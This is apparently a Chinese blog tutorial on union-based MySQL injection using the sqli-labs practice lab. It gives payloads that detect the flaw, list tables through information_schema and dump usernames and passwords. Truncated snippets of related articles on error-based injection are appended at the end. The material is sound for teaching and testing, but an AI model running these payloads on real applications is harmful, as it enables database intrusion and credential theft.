mysql注入簡要流程如下圖:
由於還沒學習完先結合sqlilabs的第一關講解資訊收集的一部分和資料注入的information_schema的有據查詢。
老方法:
and 1=1 頁面正常
and 1=2 頁面錯誤
說明可能存在注入點
最舒服的方法:
引數後面隨便輸入,被解析但未出現404可能存在注入。
若出現404頁面說明沒有注入點。
--+頁面正常:
引數後面隨便輸:323424 --+
被解析,未報錯,說明存在注入點
猜解列名數量(字段數):order by x(為可變變數) 找出錯誤與正確的臨界值
由上圖可知欄位數為3。
?id=-1' union select 1,2,3 --+
由圖可知,2,3位置可進行回顯。
資料庫版本:version()
資料庫使用者:user()
資料庫名字:database()
作業系統:@@version_compile_os
資料庫版本及資料庫使用者:
資料庫名字及作業系統:
必要知識點:
在mysql5.0及以上版本中mysql存在自帶的資料庫名information_schema,它是乙個存記錄有所有資料名、表名、列名的資料庫。也就相當於可以查詢它獲取指定資料庫下的表名列名資訊。
資料庫中符號「.」代表下一級,如a.b表示資料庫a下的b表。
information_schema.tables:記錄所有表名資訊的表
information_schema.columns:記錄所有列名資訊的表
table_schema:資料庫名
table_name:表名
column_name:列名
查詢security資料庫下的表名資訊:
所有表名資訊:
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可知有4張表分別是:emails,referers,uagents,users
由上可推測使用者資訊可能在users表中
查詢users表下的列名資訊:
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
可知users表中的字段為username和password
查詢users表中的資料:
' union select 1,username,password from users limit 0,1--+
猜解多個資料可使用limit x,1(變動猜解)
可知一共有13條資料
注入攻擊之sql注入
在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...
SQL注入之報錯注入
固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...
SQL注入之報錯注入
0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...